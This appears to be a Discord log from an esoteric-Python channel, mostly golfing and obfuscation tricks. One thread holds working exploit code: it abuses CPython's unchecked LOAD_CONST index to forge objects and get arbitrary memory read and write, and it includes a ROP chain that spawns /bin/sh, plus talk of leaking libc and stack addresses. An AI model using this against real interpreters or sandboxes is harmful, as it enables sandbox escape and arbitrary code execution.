this is what i have from the trace back rax: 0x000000000000003b rbx: 0x0068732f6e69622f rcx: 0x000000010087d01b rdx: 0x0000000000000000 rdi: 0x00007ffeef75ccf0 rsi: 0x00007ffeef75cce0 rbp: 0x00007ffeef75cd50 rsp: 0x00007ffeef75cce0 r8: 0x0000000000000000 r9: 0x0000000000000023 r10: 0x00007fd46c297ab8 r11: 0x0000000000000213 r12: 0x00007fd46a61f040 r13: 0x00007fd46a4095a0 r14: 0x00007fd46c3367e0 r15: 0x0000000000000000 rip: 0x000000010087d01b rfl: 0x0000000000010213 cr2: 0x000000000000003b
#esoteric-python
1 messages · Page 97 of 1
na shellcode_example
hm, well, it is linux shellcode
can you run disas 0x000000010087d01b,+100
ofc it segfaults
ok
(ctrlC to quit obvs)
oh
that's probably because python implements its own handler lol
fun
well, at least it worked
the last magic number is the tp_call offset
I guess there's not much to do about that
are you planning on adding 32bit support?
or sizeof((1,)) - sizeof(())
smart
yeah I like that better
I'll consider implementing it at some point, I don't have a 32-bit vm around to test with lol
Hm I just realised I can read the original value of tp_call
and get a pointer into the main elf binary
then I can work back to find the elf base
and parse the headers to find libc etc.
to get mmap?
yeah
I'll need to do something clever to pass in controlled arguments though
perhaps I can find a ROP gadget to dereference rdi (which is self, and the refcount is at the start and controllable)
depending on what you want to do you could store them as bytes then get the address of those raw values
Another hurdle is finding the address of the stack
I'll need that for ROP, I think
yea cause python uses the heap
afaik for all variables
that we control at least
I wrote some code that leaks a stack pointer some percentage of the time, but it was very unreliable
basically, I dump some memory, and extract all the pointers from it
then I used a heuristic to classify the pointer type
based on the digits it starts with
and I do that recursively until I find a pointer that looks like a stack pointer
ah yea thats not stable at all
the problem is, with ASLR, on linux there are some stack pointers that are indistinguishable from heap pointers
just from looking at them
im going to look at builtin classes and see if any of them use the stack where we can grab it
that would be neat
I know there are some stack introspection functions
but idk if they would expose the actual rsp
nah those are python frames and python stack
yeah ik = but maybe id on a stack frame object or something?
Since the python stack frames are on the actual C stack (iiuc?)
well you can get a reference to the frame stack from a python frame
one sec i have ctypes code to do that
but getting the current frame needs an import or ROP
is it sys?
I think there's a way to "import" sys without any actual imports
by introspecting builtins recursively
there is but that feels like cheating
true
frame_mem = (c_char*frame.__sizeof__()).from_address(id(frame))
frame_globals_addr = id(frame.f_globals).to_bytes(base_size, 'little')
stack_offset = frame_mem.raw.index(frame_globals_addr) + 2 * base_size
ptr = POINTER(handlenull).from_address(id(frame) + stack_offset)```
this gets a pointer to the top of the frames stack
but thats the python stack not the c stack
@radiant anchor you were talking about derefing a python variable earlier thats easy once you have the mem, you just set the first (4 or 8respective to 32 or 64bit ) byres to 0
oh yeah, I meant in terms of like *ptr in c, not decref/freeing
ahh ok
because getting a controlled value in $rdi will be useful for ROP etc.
if I could find a gadget for something like mov rsp, rdi, I'd have full rop
i.e. by pivoting the stack to a buffer I control
what kind of constuct in c do you think would result in asm like that
I'm banking on misaligned instructions
the wonders of x86
e.g. if there was a mov rdi, 0xdeadbeef
where 0xdeadbeef is the instruction encoding of mov rsp, rdi
ahh ok
e.g.
push rdi
pop rsp
ret
encodes to "\x57\x5c\xc3"
if that 3 byte sequence appears anywhere in the binary, I win
that probably doesn't, but there are plenty of theoretical alternatives
hm, the easiest gadgets to find are probably add/sub rsp 0xsomething; ret
which I can turn into ROP if I have controlled data on the stack
actually all of this is irrelevant if I can leak a stack address, I can just write the whole ROP buffer onto the stack
making progress
I have ROP, although I "cheated" by hardcoding two gadget offsets, and finding libc base via /proc/self/maps
but that should be possible to automate
wait is this all based off a bof in load_const
yes
it's pretty easy to exploit because of all the runtime introspection features
@radiant anchor im curious if there are any other oob issues with other opcodes
me too, I haven't checked properly
im gonna go through some and look to see if they aren't typechecked
maybe make this easier if we didnt have to align the tuple and the bytes
or at least smaller
LOAD_FAST and STORE_FAST are both promising @radiant anchor
hmmm why doesnt the error get raised
based on what wookie posted the other day
>>> class dic(dict):
def __init__(self): self.data = {}
def __setitem__(self, key, value):
if key=='c':
raise Exception('Tried to set c as atribute')
self.data[key] = value
>>> class e:
@classmethod
def __prepare__(cls, *args, **kwargs): return dic()
def __new__(cls, name, bases, md):
md.data['__getattribute__'] = cls.__getattribute__
return super().__new__(cls, name, bases, md.data)
def __getattribute__(self, name):
return object.__getattribute__(self, name)
>>> class a(metaclass=e):
c=1
................................
Exception: Tried to set c as atribute
>>> class b:
def __init_subclass__(cls,**_dict):
for elm in _dict:
setattr(cls,elm,_dict[elm])
>>> class a(b,c=1,metaclass=e):
pass
>>> a.c
1
if (e == 0 and g != 0) or (e != 0 and g == 0) or (f != 0 and h == 0) or (f == 0 and h != 0) or (e != 0 and f != 0 and g != 0 and h != 0 and max(abs(a/e - c/g), abs(b/f - d/h)) > max(abs(a/e - b/f), abs(c/g - d/h))):```
oh my
!e
_=()==()
__=(_+_)+(_+_)
___=(__*__)
____ = "%c"*(_+_+_+_+_)%(((_+_)*int(((___*__+(__+__))/(_+_)))),((_)*((___*__+(__+__)-(_+_+_)))),((_+_)*int(((___*__+(__+__)+(__))/(_+_)))),((_+_)*int(((___*__+(__+__)+(__))/(_+_)))),((_)*((___*__+(__+__)+(__+_+_+_)))))+" "+"%c"*(_+_+_+_+_)%(((_)*((___*__+(__+__)+(__+__+__+_+_+_)))),((_)*((___*__+(__+__)+(__)+(_+_+_)))),((_+_)*int(((___*__+(__+__)+(__)+(_+_+_)+(_+_+_))/(_+_)))),((_+_)*int(((___*__+(__+__)+(__))/(_+_)))),((_+_)*int(((___*__+(__+__)-(__))/(_+_)))))
print(____)
@shy remnant :white_check_mark: Your eval job has completed with return code 0.
HELLO WORLD
HOW DOES THIS WORK
!e print("%c"%65)
@proper vault :white_check_mark: Your eval job has completed with return code 0.
A
it it multiplies the %c and interpolates it with ints built up from _ = 1
ohhh
Hello,
I'm very new to golfing
exec(bytes("浩潰瑲爠㵦慬扭慤砠攺慶⡬敲献扵✨尨⭤⸩尨⭤⸩⸨⠩⬮尩㽮Ⱗ❲⠫ㅜ㴼尢∴挮畯瑮∨㍜⤢㴼㉜✩砬⤩",'U16')[2:])```
this seems to be compressed code, that thens decompresses on execution
that way, this guy (and other) are winning bytes of weight, and get better codegolf score
and I wonder what is this technique called, to learn more about this
Does anyone knows ?
oh that's an interesting one
what he did was take his code, convert it to the minimum required bytecode, and executes that
>>> data = bytes("浩潰瑲爠㵦慬扭慤砠攺慶⡬敲献扵✨尨⭤⸩尨⭤⸩⸨⠩⬮尩㽮Ⱗ❲⠫ㅜ㴼尢∴挮畯瑮∨㍜⤢㴼㉜✩砬⤩",'U16')[2:]
>>> import ast
>>> parsed = ast.parse(data)
>>> print(ast.dump(parsed, indent=2))
Module(
body=[
Import(
names=[
alias(name='re')]),
Assign(
targets=[
Name(id='f', ctx=Store())],
value=Lambda(
args=arguments(
posonlyargs=[],
args=[
arg(arg='x')],
kwonlyargs=[],
kw_defaults=[],
defaults=[]),
body=Call(
func=Name(id='eval', ctx=Load()),
args=[
Call(
func=Attribute(
value=Name(id='re', ctx=Load()),
attr='sub',
ctx=Load()),
args=[
Constant(value='(\\d+).(\\d+).(.)(.+)\n?'),
Constant(value='+(\\1<="\\4".count("\\3")<=\\2)'),
Name(id='x', ctx=Load())],
keywords=[])],
keywords=[])))],
type_ignores=[])
anyways I've got something interesting for y'all today 👀
def main():
@generic("A", "B")
class Pair:
x: "A"
y: "B"
def __init__(self, x, y):
self.x = x
self.y = y
def __iter__(self):
return iter([self.x, self.y])
p1 = Pair[int, int](10, 5)
p2 = Pair[int, str](100, "abc")
try:
# ERROR -> defined as y: str but setting y to int
p3 = Pair[int, str](100, 5)
except AssertionError as exc:
print("Error:")
print(exc)
print(p1.__annotations__)
print(list(p1))
print(p2.__annotations__)
print(list(p2))
output: py Unable to set property 'y' of type 'str' to value of type 'int' {'x': <class 'int'>, 'y': <class 'int'>} [10, 5] {'x': <class 'int'>, 'y': <class 'str'>} [100, 'abc']
interesting
@generic("A", "B")
class Pair:
x: "A"
y: "B"
def __init__(self, x, y):
self.x = x
self.y = y
def __iter__(self):
return iter([self.x, self.y])
def test(self, val: "B") -> "A":
return self.x
p1 = Pair[int, int](10, 5)
p2 = Pair[int, str](100, "abc")
try:
p1.test("a")
except AssertionError as exc:
# ERROR -> Expects `val` to be int, gets str
print("Error:")
print(exc)```added signature checking
Output: py Error: Parameter 'val' was of type 'str', expected 'int'
only issue right now is that it uses isinstance checks which errors on typing classes
TypeError: Subscripted generics cannot be used with class and instance checks
is there a module that allows you to monkey-patch this?
you could get the base class and do isinstance on that?
it's not compressed
it's rather expanded
each 3/4 byte utf-8 letter contains 2 characters, so 1.5 or 2 bytes per character, instead of 1
well, if the golfing was by bytes instead of by characters, that wouldn't win anything
it saves characters visually, that's the only point, when it matters to the scoring
I did that many times but always used .encode() so now I know how it's supposed to be done thanks
AssertionError: Unable to set property 'y' of type 'Pair[int, str]' to value of type 'Pair[int, int]' making very primitive progress
!e
class _List(list):
pass
class MultiDict(dict):
def __setitem__(self, name, value):
try:
found = self[name]
except KeyError:
return super().__setitem__(name, value)
if isinstance(found, _List):
return found.append(value)
super().__setitem__(name, _List([found, value]))
class overload_wrapper:
def __init__(self, instance, overloaded):
self.instance = instance
self.overloaded = overloaded
def __call__(self, *args):
meth = None
for func in self.overloaded:
func = func.__get__(self.instance, self.instance.__class__)
if all(isinstance(arg, annotation) for arg, annotation in zip(args, func.__annotations__.values())):
meth = func
if meth is None:
raise TypeError
return meth(*args)
class overloadable(type):
def __new__(cls, name, bases, dict_):
def __getattribute__(self, name):
attr = object.__getattribute__(self, name)
if isinstance(attr, _List):
return overload_wrapper(self, attr)
return attr
dict_['__getattribute__'] = __getattribute__
return super().__new__(cls, name, bases, dict_)
@classmethod
def __prepare__(cls, *args):
return MultiDict()
class Overload(metaclass=overloadable):
@classmethod
def hi(cls, number: int):
print('Hello im hi 1')
@staticmethod
def hi(dictionary: dict):
print('Hello im hi 2')
def hi(self, string: str):
print('Hello im hi 3')
x = Overload()
x.hi(57)
x.hi({4234243: 5304950394})
x.hi('saer')
@steep mural :white_check_mark: Your eval job has completed with return code 0.
001 | Hello im hi 1
002 | Hello im hi 2
003 | Hello im hi 3
!e ```py
def sizeof(obj):
return type(obj).sizeof(obj)
TUPLE_HEADER = sizeof(())
BYTES_HEADER = sizeof(b'') - 1
PTR_SIZE = sizeof((0,)) - TUPLE_HEADER
INT64_MAX = (1 << 63) - 1
INT32_MAX = (1 << 31) - 1
MAX_SIZE = INT64_MAX if PTR_SIZE == 8 else INT32_MAX
def get_offset(tpl, byts):
offset = id(byts) + BYTES_HEADER
offset -= id(tpl) + TUPLE_HEADER
return offset // PTR_SIZE
def heapgroom(addr):
raw = addr.to_bytes(PTR_SIZE, 'little')
a_t = [0]*64
a_b = [0]*64
for size in range(64):
r, p = [0]*size, b'A' * (size * PTR_SIZE - len(raw))
tpl = a_t[size] = tuple(r)
byt = a_b[size] = raw + p
off = get_offset(tpl, byt)
if len(tpl) <= off < 256:
return tpl, byt, off
def obj(addr):
tpl, byts, offset = heapgroom(addr)
magic = lambda:None
code = bytearray(magic.code.co_code)
code[1] = offset
magic.code = magic.code.replace(co_code=bytes(code), co_consts=tpl)
return magic()
def struct(*fields):
def pack(*args):
out = b''
for item, size in zip(args, fields):
out += item.to_bytes(size, 'little')
return out + b'\x00' * (sum(fields) - len(out))
return pack
mem_obj = struct(*[PTR_SIZE]*7)
def getmem(start=0, size=MAX_SIZE, cache={}):
fakemem = cache.get((start, size)) or mem_obj(
1,
id(bytearray),
size,
0, start, start, 0
)
cache[(start, size)] = fakemem
return obj(id(fakemem) + BYTES_HEADER)
x = (0,)
x_idx1 = getmem(id(x)+ 3 * PTR_SIZE, PTR_SIZE)
x_idx1[:] = id(x).to_bytes(PTR_SIZE, 'little')
print(x)```
@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.
((...),)
@radiant anchor ^ i optimized a python3 version
i didnt bother to make the heapgroom place the bytes directly after the tuple because as long as the offset is less then 256 itll work anyways
i tested it by running ```py
x = []
while True:
v = heapgroom(0xdeadbeef)
if v is None:
break
x.append(v)
and it only ended cause i hit ctrl C not cause of a failure
afaik it should work pretty consistently @radiant anchor
Holy shit, I can only see and admire this type of stuff, understanding is beyond me for now. Thought reading the CPython internals book would help knowledge and understanding wise, but this just appears to be next level memory hacks. Don’t even know where to begin to learn this cool stuff
@sick hound that code basically abuses an optimization in the LOAD_CONST operator in python bytecode. There isnt any bounds checking, so if you can set it up so that a valid object is past the edge of function.__code__.co_consts at a known offset, you can load that object instead. This lets us build any valid python object manually, with our own custom values. for example, getmem builds a bytearray that is pointed at a custom address, letting modify the memory there ourselves. Doing stuff like that isnt anything special using ctypes, the cool thing here is that its being done with no imports (and thus only pure python)
Damn, thanks
A series of the .replace(...) function in a loop is turing complete.
Proof:
The following series of 20 replace(...)'s implements Wolfram’s 2, 3 turing machine on an infinite tape* which has been shown to be turing complete:
input = " 0[0A]0 "
for i in range(1000000):
print(input)
input = input\
.replace("[0A]0", "1[0B]").replace("[0A]1", "1[1B]").replace("[0A]2", "1[2B]")\
.replace("0[0B]", "[0A]2").replace("1[0B]", "[1A]2").replace("2[0B]", "[2A]2")\
.replace("0[1A]", "[0A]2").replace("1[1A]", "[1A]2").replace("2[1A]", "[2A]2")\
.replace("[1B]0", "2[0B]").replace("[1B]1", "2[1B]").replace("[1B]2", "2[2B]")\
.replace("0[2A]", "[0A]1").replace("1[2A]", "[1A]1").replace("2[2A]", "[2A]1")\
.replace("[2B]0", "0[0A]").replace("[2B]1", "0[1A]").replace("[2B]2", "0[2A]")\
.replace(" [", " 0[").replace("] ", "]0 ")
Sample output:
0[0A]0
0[0A]22
010[2A]0
01[0A]10
0112[0B]0
01[1A]120
0[1A]2120
0[0A]22120
010[2A]120
01[0A]1120
011220[0A]0
01122[0A]22
0112210[2A]0
011221[0A]10
01122112[0B]0
011221[1A]120
011[2A]122120
01[1A]1122120
0[1A]21122120
0[0A]221122120
010[2A]1122120
01[0A]11122120
0112[1B]122120
0112220[2A]120
011222[0A]1120
0112221220[0A]0
011222122[0A]22
01122212210[2A]0
0112221221[0A]10
011222122112[0B]0
0112221221[1A]120
0112221[2A]122120
011222[1A]1122120
0112[2A]121122120
011[2A]1121122120
01[1A]11121122120
0[1A]211121122120
0[0A]2211121122120
010[2A]11121122120
01[0A]111121122120
0112[1B]1121122120
01122[1B]121122120
01122220[1A]122120
0112222[0A]2122120
011222210[1A]22120
01122221[0A]222120
0112222110[2A]2120
011222211[0A]12120
011222211120[1A]20
01122221112[0A]220
*Assuming you have infinite memory. Who doesn't?
Heck yeah, and that's why most string rewriting esolangs are TC
These functions can really help u guys
https://medium.com/analytics-vidhya/knowing-these-can-make-you-better-in-python-26e43afc0fd
I wouldn't call those esoteric or rare lol, I've hardly seen a python program without them
but, definitely worth knowing
you interested in helping out? I have a fun issue right now: Nested Generics
@generic("T")
class List(list, Iterable["T"]): # Errors, because Iterable["T"] is also an @generic class, and expects a type or type of tuples
...
def copy() -> List["T"] # Same here (assuming `from __future__ import annotations`)
...
https://hastebin.com/dohojekeye.py here's the current code, decided to rewrite it but there's still a few issues...
Is a list comprehension of this possible??
for ...
if ...:
pass
if ...:
pass
i need help please, i created web scraper that goes throught site and looks or title, price and date and if the title contains a word from my filter list it should add title, price and date to my dictionary. It works, filters them right but it adds it 6 times dont know why
https://paste.pythondiscord.com/gisejaqujo.lua
OUTPUT -
{'name': 'ELEKTRONY SKODA OCTAVIA SCOUT DISKY “PROTEUS” R17', 'price': ' 379 €', 'date': ' - TOP - [7.12. 2020]'}
{'name': 'ELEKTRONY SKODA OCTAVIA SCOUT DISKY “PROTEUS” R17', 'price': ' 379 €', 'date': ' - TOP - [7.12. 2020]'}
{'name': 'ELEKTRONY SKODA OCTAVIA SCOUT DISKY “PROTEUS” R17', 'price': ' 379 €', 'date': ' - TOP - [7.12. 2020]'}
{'name': 'ELEKTRONY SKODA OCTAVIA SCOUT DISKY “PROTEUS” R17', 'price': ' 379 €', 'date': ' - TOP - [7.12. 2020]'}
{'name': 'ELEKTRONY SKODA OCTAVIA SCOUT DISKY “PROTEUS” R17', 'price': ' 379 €', 'date': ' - TOP - [7.12. 2020]'}
{'name': 'ELEKTRONY SKODA OCTAVIA SCOUT DISKY “PROTEUS” R17', 'price': ' 379 €', 'date': ' - TOP - [7.12. 2020]'}
changed it to for filter_l in filter_list: if filter_l in name: #slovnik = {'name': name, 'price': price, 'date': date} slovnik['name'] = name slovnik['price'] = price slovnik['date'] = date else: continue
still doesnt work
dont understand
@calm moat assuming py for a in b if c: continue # Next item if d: continue # Next item ... # Do thing -> py [... for a in b if not (c or d)]
oh right anothe rissue with my impl:
AssertionError: Parameter '_List__object' was of type 'Pair[int, int]', expected 'Pair[int, int]'
every time you make an instance of a generic class it becomes its own type, I need to cache them somehow...
hey i get error but dont know why
@ashen bolt Hey, this isn't a good channel for this, you'd be better off at #databases
Golfing, Python VM languages, obfuscation, code gore and other general Python weirdness
(lambda: "esoteric python")()
This is not a help channel. See #❓|how-to-get-help
Receive help here and your code will be cursed
ok cool
I see you did the same strat more or less
!e
_=()==()
__=(_+_)+(_+_)
___=((_+_)+(_+_)+(_+_)+(_+_)*(_+_)+(_+_)+(_+_)+(_+_))
____="%c"*(_+_+_+_+_)%(((_+_)*((___*__+(__+__))//(_+_))),((_)*((___*__+(__+__)-(_+_+_)))),((_+_)*((___*__+(__+__)+(__))//(_+_))),((_+_)*((___*__+(__+__)+(__))//(_+_))),((_)*((___*__+(__+__)+(__+_+_+_)))))+" "+"%c"*(_+_+_+_+_)%(((_)*((___*__+(__+__)+(__+__+__+_+_+_)))),((_)*((___*__+(__+__)+(__)+(_+_+_)))),((_+_)*((___*__+(__+__)+(__)+(_+_+_)+(_+_+_))//(_+_))),((_+_)*((___*__+(__+__)+(__))//(_+_))),((_+_)*((___*__+(__+__)-(__))//(_+_))))
____=list(map(lambda x:x.lower(), ____))
print(____)
@fossil estuary :white_check_mark: Your eval job has completed with return code 0.
['h', 'e', 'l', 'l', 'o', ' ', 'w', 'o', 'r', 'l', 'd']
you could also use [*...] instead of list(...)
ty
trying to make it as unreadable as possible
basically at that point already, but still gonna go more
oh yeah I did that once already
!e py _=((()==())+(()==())) __=(((_<<_)<<_)*_) __import__(('c%'[::(([]!=[])-(()==()))])*((_<<_)+(()==()))%((__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+((_*_)+(()==())))),(__+(((_<<_)<<_)+((_<<_)+(_*_)))),(__+(((_<<_)<<_)+((_<<_)+(_*_)))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==()))))))))
@grave rover :white_check_mark: Your eval job has completed with return code 0.
Hello world!
i think i fucked up.
!e py a=lambda b:b<(()==())<<(()<=())and[]>=[]or a(b-(()==()))+a(b-(([]>=[])<<([]==[]))) print([*map(a, range(20))])
@grave rover :white_check_mark: Your eval job has completed with return code 0.
[True, True, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181, 6765]
fib with the same obf
i never thought i would see the day that python is taking longer than a few milliseconds to do a print statement.
taking over a minute now o.o
you probably did something bad
sounds like an infinite loop
It's not even a loop tho
Could be, Not sure what to think of it
Shouldn't try to iterate through a 4700byte sequence.
4700 isn't even that long
That's not that much
what are you doing
It's going through decoding and stuff, Idk why it's taking so long
Okay, Had to forcekill that process
I still don't know what you're talking about lol
To some degree, Neither do I.
Ok
ugh I need to keep working on these generics but it's such a pain
import unsafe
gadgets = unsafe.find_gadgets()
binsh = unsafe.refbytes(b"/bin/sh\0")
argv = unsafe.refbytes(bytes(bytearray(unsafe.p64a(binsh, 0))))
rop_payload = unsafe.p64a(
gadgets["pop rax; ret"],
59, # SYS_EXECVE
gadgets["pop rdi; ret"],
binsh, # filename
gadgets["pop rsi; ret"],
argv, # argv
gadgets["pop rdx; pop rbx; ret"],
0, # envp
0, #junk
gadgets["syscall; ret"]
)
unsafe.do_rop(rop_payload)
[evil laughter]
noice
tbh
expected that
old code
!e
import sys;f=sys.stdout;
x='import sys;f=sys.stdout;x=%s;f.write(x%%`x`)';f.write(x%`x`)
@fossil estuary :x: Your eval job has completed with return code 1.
001 | File "<string>", line 2
002 | x='import sys;f=sys.stdout;x=%s;f.write(x%%`x`)';f.write(x%`x`)
003 | ^
004 | SyntaxError: invalid syntax
@radiant anchor could you move backwards from a static address (ie: tp_call) to get to libc?
Yeah, just gotta find one that actually points to libc
One way that would be very reliable, is finding /usr/lib/python base address and parsing out the elf headers etc. to get to libc
but that's a lot of effort to implement
although, reliably finding the .text segment of libc will require some amount of elf parsing
god I can't wrap my head around this type management
x: Type1[Type2[T]] won't remap T for some reason and I'm trying to figure out why
!e
_=((()==())+(()==()))
__=(((_<<_)<<_)*_)
__import__(('c%'[::(([]!=[])-(()==()))])*((_<<_)+(()==()))%((__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+((_*_)+(()==())))),(__+(((_<<_)<<_)+((_<<_)+(_*_)))),(__+(((_<<_)<<_)+((_<<_)+(_*_)))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==()))))))))```
@sick hound :white_check_mark: Your eval job has completed with return code 0.
Hello world!
TIL import __hello__ is a thing
TIL __hello__ is a frozen module
how exactly does this work
idfk
copied it from above
how exactly does this work
@sick hound If you ord every char in __hello__, you'll get integers
And you can make an integer with this neat trick:
() == () is True, which is 1
(()==())+1 will give you two
!e print((()==())+1)
@sick hound :white_check_mark: Your eval job has completed with return code 0.
2
OP used bitshifts and other stuff to make it more complicated, but I assume the general principle was the one mentioned above
T,F=....__eq__(...),....__ne__(...)
!e
_ = (() == ()) + (() == ())
__ = (((_ << _) << _) * _)
print(f"{_=}\n{__=}")
@sick hound :white_check_mark: Your eval job has completed with return code 0.
001 | _=2
002 | __=64
Yikes
to get '0':
....__ne__(...).__int__().__str__()
You could abuse globals() and __setitem__ to make it even more complicated
to get 'F'
....__ne__(...).__str__()[()!=()]
now for a little harder thonk, getting N...
isinstance
....__eq__(()).__str__()[...!=...]
lol
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
NotImplemented
there
Did you reverse en in NotImplemented?
bruh
@floral meteor :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 3, in <module>
003 | File "<string>", line 1, in <module>
004 | NameError: name 'Non' is not defined
I do know that
but i do not see a chr in the code
!e```m
=....eq(()).str()
=(((()==())<<(()==()))<<(()==())).neg()
=eval([:(()==())+(...==...)]+[-(()==()):_+(()==())]+[(()!=())-((()!=())->>(()==()))])
print(_)
oof
it uses a format string @sick hound
i think the bot dedded
i think you used the wrong syntax highlighting
!e ```py
=....eq(()).str()
=(((()==())<<(()==()))<<(()==())).neg()
=eval([:(()==())+(...==...)]+[-(()==()):_+(()==())]+[(()!=())-((()!=())->>(()==()))])
print(_)
@sick hound :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 3, in <module>
003 | File "<string>", line 1, in <module>
004 | NameError: name 'Noene' is not defined
bruh
Your scrape range isn't right
Hm
I personally find it easier to first do a rough sketch of what I'll be writing
For stuff like this
ah, I see
^ Just reverse that
!e ```py
=....eq(()).str()
=(((()==())<<(()==()))<<(()==())).neg()
=eval([:(()==())+(...==...)]+[-(()==()):_+(()==())][(()==())]+[(()!=())-((()!=())->>(()==()))][:(()==())])
print(_)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
None
wdym?
Did you not reverse it?
neh
Challenge:
Get various objects from attributes of ..., without using .__doc__
easy
!e ```py
=....ge(...).str()
=((....eq(...)<<....eq(...))<<....eq(...)).neg()
=eval([:(....eq(...)).add(....eq(...))]+[-(....eq(...)):_+(....eq(...))][....eq(...)]+[....ne(...)-(....ne(...)->>....eq(...))][:....eq(...)])
print(_)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
None
@floral meteor Could you give a summary of what you did
>>> (....__hash__()>>57).__neg__()
64
Alright, I'll think of a summary
so...
>>> _=....__ge__(...).__str__()
_ = "NotImplemented"
>>> __=((....__eq__(...)<<....__eq__(...))<<....__eq__(...)).__neg__()
__ = -(1<<1<<1) # -4
>>> ___=eval(_[:(....__eq__(...)).__add__(....__eq__(...))]+_[__-(....__eq__(...)):__+(....__eq__(...))][....__eq__(...)]+_[....__ne__(...)-(....__ne__(...)-__>>....__eq__(...))][:....__eq__(...)])
___ = eval(
_[:1+1] + _[__-1:__+1][1] + _[-((-__)>>1)][:1]
) # _[:2] + _[-5:-3][1] + _[-2][:1]
>>> print(___)
None
....eq(...) came from here, the rest, yes
Damn, I'd get lost after writing half of that
now I'm gonna write a discord bot in that
here's one-line version:
___=eval(....__ge__(...).__str__()[:(....__eq__(...)).__add__(....__eq__(...))]+....__ge__(...).__str__()[((....__eq__(...)<<....__eq__(...))<<....__eq__(...)).__neg__()-(....__eq__(...)):((....__eq__(...)<<....__eq__(...))<<....__eq__(...)).__neg__()+(....__eq__(...))][....__eq__(...)]+....__ge__(...).__str__()[....__ne__(...)-(((....__eq__(...)<<....__eq__(...))<<....__eq__(...))>>....__eq__(...))])
!e ```py
=eval(....ge(...).str()[:(....eq(...)).add(....eq(...))]+....ge(...).str()[((....eq(...)<<....eq(...))<<....eq(...)).neg()-(....eq(...)):((....eq(...)<<....eq(...))<<....eq(...)).neg()+(....eq(...))][....eq(...)]+....ge(...).str()[....ne(...)-(((....eq(...)<<....eq(...))<<....eq(...))>>....eq(...))])
print()
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
None
!e
!eval [code]
Can also use: e
*Run Python code and get the results.
This command supports multiple lines of code, including code wrapped inside a formatted code
block. Code can be re-evaluated by editing the original message within 10 seconds and
clicking the reaction that subsequently appears.
We've done our best to make this sandboxed, but do let us know if you manage to find an
issue with it!*
!eval [code]
Can also use: e
*Run Python code and get the results.
This command supports multiple lines of code, including code wrapped inside a formatted code
block. Code can be re-evaluated by editing the original message within 10 seconds and
clicking the reaction that subsequently appears.
We've done our best to make this sandboxed, but do let us know if you manage to find an
issue with it!*
it says it is over 2000 words 😦
not that, the content
Hey @wind token!
Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:
• If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)
• If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:
😦
paste it into notepad and screenshot it
it is too long in length so i cannot do it
alright, I'm going to convert this:
!e ```py
from urllib.request import urlopen; from bs4 import BeautifulSoup; valid_starts = ["https://aawl.org/pet/", "/pet/"]
def get_text(url):
html = urlopen(url).read();soup = BeautifulSoup(html, features="html.parser"); links={}
for link in soup.findAll('a'):
try: j = link.get('href'); assert j.startswith(valid_starts[1]); links.update({j: None})
except: pass
for script in soup(["script", "style"]): script.extract()
text = soup.get_text(); lines = (line.strip() for line in text.splitlines()); chunks = (phrase.strip() for line in lines for phrase in line.split(" ")); text = '\n'.join(chunk for chunk in chunks if chunk); return text, links
def main(url):
global valid_starts; valid_starts[0] = url.rstrip(url.split('/')[-1]).rstrip('/') + valid_starts[1]; _, links = get_text(url); cats = {}; fattest_size = 0; target = ""; target_name = ""
for link in links:
try:
text, _ = get_text(link if link.startswith(valid_starts[0]) else valid_starts[0]+link.lstrip(valid_starts[1])); there = text.find("pounds")-2; links[link] = text[:text.find('|') - 1].strip()
while text[there].isdigit(): there -= 1
there += 1; d = ""
while text[there].isdigit(): d += text[there]; there+=1
w = int(d); cats.update({link: w})
if w >= fattest_size: fattest_size = w; target = link; target_name = links[link]
print(links[link], end=', ')
except Exception as err: print('['+str(err),link+']', end=', ')
print('\b\b\nFattest cat detected [link, weight, name]:')
if target.startswith(valid_starts[1]): target = valid_starts[0]+target.lstrip(valid_starts[1])
if target: return [target, fattest_size, target_name]
else: return "None"
print(main("https://aawl.org/adoptable-cats"))
@floral meteor :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/usr/local/lib/python3.9/urllib/request.py", line 1342, in do_open
003 | h.request(req.get_method(), req.selector, req.data, headers,
004 | File "/usr/local/lib/python3.9/http/client.py", line 1255, in request
005 | self._send_request(method, url, body, headers, encode_chunked)
006 | File "/usr/local/lib/python3.9/http/client.py", line 1301, in _send_request
007 | self.endheaders(body, encode_chunked=encode_chunked)
008 | File "/usr/local/lib/python3.9/http/client.py", line 1250, in endheaders
009 | self._send_output(message_body, encode_chunked=encode_chunked)
010 | File "/usr/local/lib/python3.9/http/client.py", line 1010, in _send_output
011 | self.send(msg)
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/qadetesoco.txt
obuscation that cannot be unobuscated?

tbh i'm not entirely convinced that that exists in any useful form
you can obfuscate a program such that it's impossible to recover the original program by just replacing it with an empty string, you can't run the obfuscated program but you can also deduce nothing about the original program 
but if you can run the obfuscated program, someone dedicated enough can reverse-engineer it and no technical limitation can stop them, it can just significantly hinder them

some things can be deleted with no hope of recovering them exactly like the variable names in the original program, but anything about the behaviour of the program can at best be extremely extremely hidden
